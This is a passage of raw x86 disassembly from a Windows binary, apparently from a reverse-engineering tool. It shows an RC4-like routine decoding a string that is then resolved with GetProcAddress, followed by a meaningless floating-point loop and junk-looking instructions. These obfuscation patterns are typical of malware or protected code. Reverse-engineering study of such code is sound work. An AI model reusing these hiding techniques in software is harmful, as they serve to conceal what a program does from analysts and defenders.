lea eax, [ebp - 0x2568]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x35a0]
shl eax, 0
lea esi, [ebp - 0x2568]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x2568]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x35d7]
shl eax, 0
lea edx, [ebp - 0x2568]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x3623]
shl edx, 0
lea esi, [ebp - 0x2568]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x367e]
shl edx, 0
lea esi, [ebp - 0x2568]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x2568]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x2568]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x35d7], cl
mov cl, byte [ebp - 0x368c]
mov byte [ebp - 0x3623], cl
mov dl, byte [ebp - 0x35d7]
mov byte [ebp - 0x37b6], dl
cmp dword [ebp - 0x3730], 0
jbe 0x493bd4
mov eax, dword [ebp - 0x3730]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x1d54]
mov dl, byte [ebp - 0x37b6]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x3af8]
add eax, 6
mov dword [ebp - 0x3af8], eax
mov ecx, dword [ebp - 0x3730]
add ecx, 1
mov dword [ebp - 0x4db0], ecx
jmp 0x493c03
mov dword [ebp - 0x3730], 0
jmp 0x4950e0
mov eax, dword [ebp - 0x3730]
add eax, 1
mov dword [ebp - 0x3730], eax
cmp dword [ebp - 0x3730], 0x11
jae 0x495116
mov ecx, dword [ebp - 0x3730]
mov dword [ebp - 0x5efc], ecx
cmp dword [ebp - 0x5efc], 0x11
jae 0x495100
jmp 0x495105
call fcn.009b6d77
lea edx, [ebp - 0x1d54]
add edx, dword [ebp - 0x5efc]
mov byte [edx], 0
jmp 0x4950d1
lea eax, [ebp - 0x1d54]
push eax
mov ecx, dword [ebp - 0x37e4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa067f0], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x5730], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5330], xmm0
mov dword [ebp - 0x370c], 0
mov dword [ebp - 0x4db8], 0
mov dword [ebp - 0x5908], 0
mov dword [ebp - 0x5438], 1
mov dword [ebp - 0x48e0], 0
mov dword [ebp - 0x5be4], 0
mov dword [ebp - 0x39e0], 0
mov dword [ebp - 0x3f28], 0
mov dword [ebp - 0x3e1c], 0
mov dword [ebp - 0x3e20], 0
mov dword [ebp - 0x3f2c], 0
mov dword [ebp - 0x3e24], 0
mov dword [ebp - 0x3e28], 0
mov dword [ebp - 0x3e2c], 0
mov dword [ebp - 0x3e30], 0
mov dword [ebp - 0x3f30], 0
mov dword [ebp - 0x3f34], 0
mov dword [ebp - 0x3f38], 0
mov dword [ebp - 0x4dbc], 0
mov byte [ebp - 0x3584], 0
mov byte [ebp - 0x35ac], 0
mov byte [ebp - 0x3648], 0
mov byte [ebp - 0x35ad], 0
mov byte [ebp - 0x35ef], 0
mov byte [ebp - 0x376e], 0
mov byte [ebp - 0x419a], 0
mov byte [ebp - 0x3649], 0
mov byte [ebp - 0x3647], 0
mov byte [ebp - 0x3758], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x5730], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5330], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5330], xmm0
jmp 0x495284
movsd xmm0, qword [ebp - 0x5330]
addsd xmm0, qword [0x9d9050]
movsd qword [ebp - 0x5330], xmm0
movsd xmm0, qword [0x9db248]
comisd xmm0, xmmword [ebp - 0x5330]
jbe 0x495335
movsd xmm0, qword [0x9da280]
mulsd xmm0, qword [ebp - 0x5330]
mulsd xmm0, qword [ebp - 0x5330]
movsd xmm1, qword [ebp - 0x5330]
mulsd xmm1, qword [ebp - 0x5330]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d9ee0]
mulsd xmm1, qword [ebp - 0x5330]
mulsd xmm1, qword [ebp - 0x5330]
addsd xmm1, qword [0x9d9f28]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x5730]
movsd qword [ebp - 0x5730], xmm0
movsd xmm0, qword [ebp - 0x5730]
comisd xmm0, xmmword [0x9da160]
jbe 0x495330
movsd xmm0, qword [0x9d9de8]
mulsd xmm0, qword [ebp - 0x5330]
movsd xmm1, qword [ebp - 0x5730]
subsd xmm1, xmm0
movsd qword [ebp - 0x5730], xmm1
jmp 0x49526c
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x5730]
jbe 0x495382
pushal
jbe 0x495365
inc esi
inc ecx
jl 0x495383
outsb dx, byte ds:[esi]
cmp eax, 0x3b743b6e
je 0x4953a9
mov dword [ebp - 0x6398], 0x49535d
mov dword [ebp - 0x6394], 0x495342
mov edx, dword [ebp - 0x6398]
mov dword [ebp - 0x40c0], edx
mov eax, dword [ebp - 0x6394]
mov dword [ebp - 0x6390], eax
mov byte [ebp - 0x419a], 0x1f
mov dword [ebp - 0x370c], 0
mov dword [ebp - 0x4db8], 0
mov dword [ebp - 0x370c], 0
jmp 0x4953e4
cmp dword [ebp - 0x370c], 0x100
jae 0x49540a